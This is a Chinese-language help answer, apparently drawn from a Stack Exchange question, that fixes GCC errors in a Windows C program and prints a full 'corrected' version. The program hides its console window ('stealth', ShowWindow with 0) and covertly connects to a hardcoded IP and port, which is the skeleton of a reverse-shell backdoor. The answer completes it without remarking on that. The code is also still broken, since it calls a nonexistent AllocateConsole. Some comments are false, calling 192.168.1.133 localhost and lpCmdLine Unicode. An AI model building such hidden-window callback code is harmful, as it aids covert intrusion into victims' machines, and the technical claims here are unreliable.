使用GCC编译Raci.c时出现WinMain相关编译错误的技术求助
嘿,我看到你刚学C不久,编译这个Windows平台的程序时遇到了头疼的错误,别担心,咱们一步步拆解问题,先搞定最显眼的编译错误,再把代码里的其他坑填上。
一、核心编译错误:WinMain参数语法问题
你遇到的这个错误:
Raci.c:32:14: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WinMain’
根源是WinMain的第二个参数语法写错了。你写成了:
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE, hPrev, LPSTR lpCmdLine, int nCmdShow) {
这里的HINSTANCE, hPrev是错误的——类型HINSTANCE后面直接加了逗号,却没有先写变量名。正确的写法应该去掉逗号,改成:
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow) {
这样编译器就能正确识别WinMain的参数列表,这个编译错误就会消失。
二、修复代码中的其他潜在问题
除了这个编译错误,你的代码里还有不少会导致后续编译或运行失败的问题,我帮你一一列出来并修正:
1. 端口赋值类型不匹配
你定义了unsigned short ServPort;,却给它赋值了字符串常量"50005",这会导致类型不匹配。应该直接赋值数字:
ServPort = 50005;
2. 结构体成员拼写错误
你把sockaddr_in类型的变量ServAddr错误地写成了Serv.Addr,这是完全不存在的成员。所有Serv.Addr的地方都要改成ServAddr:
- 错误写法:
Serv.Addr.sin_family = AF_INET; - 正确写法:
ServAddr.sin_family = AF_INET; - 错误写法:
Serv.Addr.sin_addr.s_addr = inet_addr(ServIP); - 正确写法:
ServAddr.sin_addr.s_addr = inet_addr(ServIP);
3. 成员访问符号错误
你把.写成了/:Serv.Addr/sin_port,这是语法错误,应该改成.,同时修正成员名:
- 错误写法:
Serv.Addr/sin_port = htons(ServPort); - 正确写法:
ServAddr.sin_port = htons(ServPort);
4. connect函数参数不完整
你的connect调用只写了一半:connect(sock, (struct)),正确的connect调用需要完整的参数,还要处理连接失败的情况:
if (connect(sock, (struct sockaddr *)&ServAddr, sizeof(ServAddr)) == SOCKET_ERROR) { closesocket(sock); WSACleanup(); exit(1); }
5. 大小写错误
WSDATA应该是WSADATA(Windows套接字结构的正确名称),修正为:
WSADATA wsaData;
6. Windows平台编译的链接要求
在Windows下编译使用Winsock的程序时,需要链接ws2_32.lib库,否则会出现链接错误。编译时要加上-lws2_32参数:
gcc Raci.c -o Raci.exe -lws2_32
7. 资源清理
程序结束前要记得关闭套接字并清理Winsock资源,避免内存泄漏:
closesocket(sock); WSACleanup();
三、修正后的完整代码示例
这里是修复了上述所有问题后的代码:
#include<stdio.h> // 标准输入输出库 #include<stdlib.h> // 定义变量、宏及其他通用函数 #include<unistd.h> // 提供POSIX API(操作系统接口)访问能力,遵循IEEE标准以实现不同系统间的兼容性 #ifdef _WIN32 #include<winsock2.h> // 用于与服务器建立连接 #include<windows.h> // 声明当前程序基于Windows平台,提供特定函数的兼容性支持 #include<winuser.h> // 支持各类Windows平台相关函数 #include<wininet.h> // 支持网络连接功能 #include<windowsx.h> // 增强Windows平台兼容性 #endif #include<string.h> // 方便操作字符数组(字符串) #include<sys/stat.h> // POSIX标准C库,包含用于获取文件属性信息的相关结构 #include<sys/types.h> // 定义各类变量与结构 /* 主函数,用于与服务器建立连接并调用其他函数。 APIENTRY => WINAPI的别名(告知编译器调用函数时如何处理栈与参数) 参数说明: HINSTANCE hInstance => 实例/模块标识符,操作系统用该值识别加载到内存中的EXE文件 HINSTANCE hPrev => 前序实例标识符 LPSTR lpCmdLine => 包含Unicode格式的命令行字符串(提供多语言字符集的Shell支持) int nCmdShow => CMD窗口大小标识(如最小化、最大化、隐藏等) */ // 初始化需在其他函数中使用的变量 int sock; int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow) { // 控制台初始化 HWND stealth; // Win32 API中的窗口标识符 AllocateConsole(); // 初始化新控制台,支持输入输出及错误控制 stealth = FindWindowA("ConsoleWindowClass", NULL); // 根据类名"ConsoleWindowClass"查找无标题的窗口/进程 ShowWindow(stealth,0); // 初始化控制台但不显示 struct sockaddr_in ServAddr; // 定义sockaddr_in类型变量ServAddr unsigned short ServPort; // 初始化无符号短整型变量(仅存储正值) char *ServIP; // 初始化字符指针ServIP WSADATA wsaData; // 包含Windows套接字相关信息的结构(定义应用程序如何访问网络服务器,尤其针对TCP/IP) ServIP = "192.168.1.133"; // 指定等待连接的服务器IP(本地主机) ServPort = 50005; // 指定监听/等待连接的端口 // 尝试为应用程序进程初始化Winsock DLL,返回0表示成功,非0表示失败 if(WSAStartup(MAKEWORD(2,0), &wsaData) != 0) { exit(1); } sock = socket(AF_INET, SOCK_STREAM,0); // AF_INET:指定基于IPv4建立连接;SOCK_STREAM:指定使用TCP协议 if (sock == INVALID_SOCKET) { WSACleanup(); exit(1); } memset(&ServAddr, 0, sizeof(ServAddr)); // 将ServAddr的所有字节清零 ServAddr.sin_family = AF_INET; // 指定使用IPv4 ServAddr.sin_addr.s_addr = inet_addr(ServIP); // 将ServIP中的IP地址格式化为IPv4格式 ServAddr.sin_port = htons(ServPort); // 指定并格式化端口号 // 尝试连接服务器 if (connect(sock, (struct sockaddr *)&ServAddr, sizeof(ServAddr)) == SOCKET_ERROR) { closesocket(sock); WSACleanup(); exit(1); } // 这里可以添加后续的逻辑,比如发送/接收数据 // 清理资源 closesocket(sock); WSACleanup(); return 0; } // 主函数结束
四、编译命令
在Windows下用gcc编译时,记得链接Winsock库:
gcc Raci.c -o Raci.exe -lws2_32
内容的提问来源于stack exchange,提问作者RuthIsRoot

